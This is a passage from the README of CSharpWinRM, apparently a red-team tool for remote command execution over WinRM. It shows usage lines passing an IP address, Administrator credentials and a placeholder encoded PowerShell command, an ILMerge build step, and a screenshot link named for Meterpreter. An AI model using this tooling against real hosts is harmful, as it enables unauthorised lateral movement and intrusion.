119 | The error codes can be seen [here](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-return-codes).
120 |
121 | ## Usage
122 |
123 | ```
124 | [*] Usage: .\CSharpWinRM.exe [Domain] [Username] [Password]
125 | [*] Example 1: .\CSharpWinRM.exe 192.168.0.1 DomainName Administrator Password123! "powershell.exe -e blah"
126 | [*] Example 2: .\CSharpWinRM.exe 192.168.0.1 "powershell.exe -e blah"
127 | ```
128 |
129 | Once built, merge with:
130 |
131 | ```powershell
132 | .\ILMerge.exe /out:.\CSharpWinRM_merged.exe .\CSharpWinRM.exe .\Interop.WSManAutomation.dll
133 | ```
134 |
135 | If, for whatever reason, the dll isnt available; its in:
136 |
137 | ```
138 | CSharpWinRM/CSharpWinRM/lib/WsmAuto.dll
139 | ```
140 |
141 | ## References
142 |
143 | 1. [C# WSManSession Examples](https://csharp.hotexamples.com/examples/-/IWSManSession/-/php-iwsmansession-class-examples.html)
144 | 2. [IWSManSession](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nn-wsmandisp-iwsmansession)
145 | 3. [IWSManSession::Identify](https://docs.microsoft.com/en-us/windows/win32/api/wsmandisp/nf-wsmandisp-iwsmansession-identify)
146 | 4. [Windows Remote Management and WMI](https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-and-wmi)
147 | 5. [Using Remote Powershell/WinRM within C#/ASP.NET RRS feed](https://social.microsoft.com/Forums/en-US/d6ec5087-33dc-4967-8183-f8524683a3ea/using-remote-powershellwinrm-within-caspnet)
--------------------------------------------------------------------------------
/screenshots/meterpreter.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mez-0/CSharpWinRM/13f8f0ca7d8774ce7f7df821fe24cd700d5ca8c5/screenshots/meterpreter.PNG
--------------------------------------------------------------------------------